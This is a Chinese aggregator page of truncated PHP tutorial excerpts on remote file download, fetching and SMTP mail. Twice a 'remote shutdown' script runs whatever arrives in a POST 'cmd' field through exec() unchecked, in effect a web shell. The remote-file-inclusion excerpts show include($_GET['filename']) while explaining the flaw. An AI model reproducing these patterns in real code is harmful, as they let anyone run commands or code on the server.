【远程获取文件大小】教程文章相关的互联网学习教程文章

phpmailer类调用远程SMTP服务器发送邮件实现方法_php技巧

本文实例讲述了php mailer类调用远程SMTP服务器发送邮件实现方法。分享给大家供大家参考,具体如下: php mailer 是一款很好用的php电子邮件发送类模块,可以调用本地的smtp发送电子邮件,也可以调用远程的smtp发送电子邮件,但是使用时需要注意一些事项,否则就会造成发送失败,或者根本不能调用的情况,本文就我在使用这个类时,遇到的问题和解决办法进行展开,简要说明一下php mailer的用法,及注意事项。 首先下载phpmailer类库...

php远程下载类分享_php技巧

本文实例为大家分享了php远程下载类,如下 <?php /** * 下载远程文件类支持断点续传 */ class HttpDownload { private $m_url = ""; private $m_urlpath = ""; private $m_scheme = "http"; private $m_host = ""; private $m_port = "80"; private $m_user = ""; private $m_pass = ""; private $m_path = "/"; private $m_query = ""; private $m_fp = ""; private $m_error = ""; private $m_httphead = "" ; p...

用php获取远程图片并把它保存到本地的代码

<?php function GrabImage($url,$filename="") { if($url==""):return false;endif; if($filename=="") { $ext=strrchr($url,"."); if($ext!=".gif" && $ext!=".jpg"):return false;endif; $filename=date("dMYHis").$ext; } ob_start(); readfile($url); $img = ob_get_contents(); ob_end_clean(); $size = strlen($img); $fp2=@fopen($filename, "a"); fwrite($fp2,$img); fclose($fp2); r...

php下载远程文件类(支持断点续传)

简易使用方法: 代码如下:$object = new httpdownload(); $object->set_byfile($file)%N#H#%;//服务器文件名,包括路径 $object->filename = $filename;//下载另存为的文件名 $object->download(); 3.源文件: 代码如下:<? class httpdownload { var $data = null; var $data_len = 0; var $data_mod = 0; var $data_type = 0; var $data_section = 0; //section download var $sentSize=0; var $handler = array('auth' => null); ...

php 远程图片保存到本地的函数类

<?php // // Function: 获取远程图片并把它保存到本地 // // // 确定您有把文件写入本地服务器的权限 // // // 变量说明: // $url 是远程图片的完整URL地址,不能为空。 // $filename 是可选变量: 如果为空,本地文件名将基于时间和日期 // 自动生成. function GrabImage($url,$filename="") { if($url==""):return false;endif; if($filename=="") { $ext=strrchr($url,"."); if($ext!=".gif" && $ext!=".jpg"):return false;endi...

php 远程关机操作的代码

<?php /** * 远程启动计算机 * 注意:iis/apache需要有windows/system/cmd.exe执行权限 * name:薛如飞 * qq:6706250 * e-mail:xuerufei@163.com * blog:http://hi.baidu.com/飞云盖天 * date:08.08.28 **/ if (isset($_POST['cmd'])) { $cmd= stripslashes( $_POST['cmd'] ); exec( $cmd,$out); var_dump($out); echo '<br>'; var_dump($cmd); } else { ?> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /...

PHP 远程文件管理,可以给表格排序,遍历目录,时间排序【图】

代码如下:<?php $rootdir="./"; $spacenum=0; $filenum=0; $allfilesize=0; echo "<h1>文件管理调试测试</h1>"; echo "<a href=>重置</a>"; readLogDir($rootdir); echo "<hr>"; echo "Total files count: $filenum.<br>"; echo "Total disk space used: $allfilesize<br>"; $freespace=diskfreespace("/"); echo "residue disk space: $freespace<br>"; function readLogDir($subdir){ global $rootdir,$spacenum,$filenum,$allfi...

php 获取远程网页内容的函数

<?php $curDomain = $_SERVER['HTTP_HOST']; $strHTML = file_get_contents('//www.gxlcms.com/DomainParking.asp?gDomName='.$curDomain); echo $strHTML ?> 早就在网上看到说file_get_contents不稳定,果然碰到了。。。 另一方面也说明了程序的容错性很差啊。。。 恩,言归正传吧。 碰到的是这个错误: file_get_contents(http://***.php): failed to open stream: HTTP request failed! G一下,决定用curl

php 远程包含文件漏洞分析第1/6页

几乎所有的cgi程序都有这样的 bug,只是具体的表现方式不一样罢了。 一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕 include() && require()语句:包括并运行指定文件。 这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。 如果"allow_url_...

php 调用远程url的六种方法小结

示例代码1: 用file_get_contents 以get方式获取内容 代码如下:<?php $url='http://www.baidu.com/'; $html=file_get_contents($url); //print_r($http_response_header); ec($html); printhr(); printarr($http_response_header); printhr(); ?> 示例代码2: 用fopen打开url, 以get方式获取内容 代码如下:<? $fp=fopen($url,'r'); printarr(stream_get_meta_data($fp)); printhr(); while(!feof($fp)){ $result.=fgets($fp,1024);...

PHP 远程关机实现代码

代码如下:<?php /** * 远程启动计算机 * 注意:iis/apache需要有windows/system/cmd.exe执行权限 * name:薛如飞 * qq:6706250 * e-mail:xuerufei@163.com * date:08.08.28 **/ if (isset($_POST[cmd])) { $cmd= stripslashes( $_POST[cmd] ); exec( $cmd,$out); var_dump($out); echo <br>; var_dump($cmd); } else { ?> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <form action="index.php" method...

获取远程文件大小的php函数

代码如下:<?php function getFileSize($url){ $url = parse_url($url); if($fp = @fsockopen($url['host'],empty($url['port'])?80:$url['port'],$error)){ fputs($fp,"GET ".(empty($url['path'])?'/':$url['path'])." HTTP/1.1\r\n"); fputs($fp,"Host:$url[host]\r\n\r\n"); while(!feof($fp)){ $tmp = fgets($fp); if(trim($tmp) == ''){ break; }else if(preg_match('/Content-Length:(.*)/si',$tmp,$arr)){ return trim($arr...

PHP 获取远程文件内容的函数代码

如下函数: 代码如下:<? /** 获取远程文件内容 @param $url 文件http地址 */ function fopen_url($url) { if (function_exists(file_get_contents)) { $file_content = @file_get_contents($url); } elseif (ini_get(allow_url_fopen) && ($file = @fopen($url, rb))){ $i = 0; while (!feof($file) && $i++ < 1000) { $file_content .= strtolower(fread($file, 4096)); } fclose($file); } elseif (function_exists(curl_init))...

PHP 网络开发详解之远程文件包含漏洞

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。 代码如下:<?php $file_name = $_GET["filename"]; //获得当前文件名 include("$file_name "); //包含文件 //一些其他操作 ?> 这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。 由于上面的代码(Code...

php带密码功能并下载远程文件保存本地指定目录 修改加强版【图】

原作者BlueStyle 提示 改进地方有 以前的算法是等文件下载完才计算, 现在这个直接在在获取文件时候就计算大小 加了容错语句 增加了判断目录,没有目录自动创建 把计算文件大小的算法换了个 以前的那个光计算文件大小就7行代码, 现在这个只要两行 转载请保留原作者版权信息,由于作者是政府人员,为不惹麻烦,请保留此段文字完整性 html代码: 代码如下:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> ...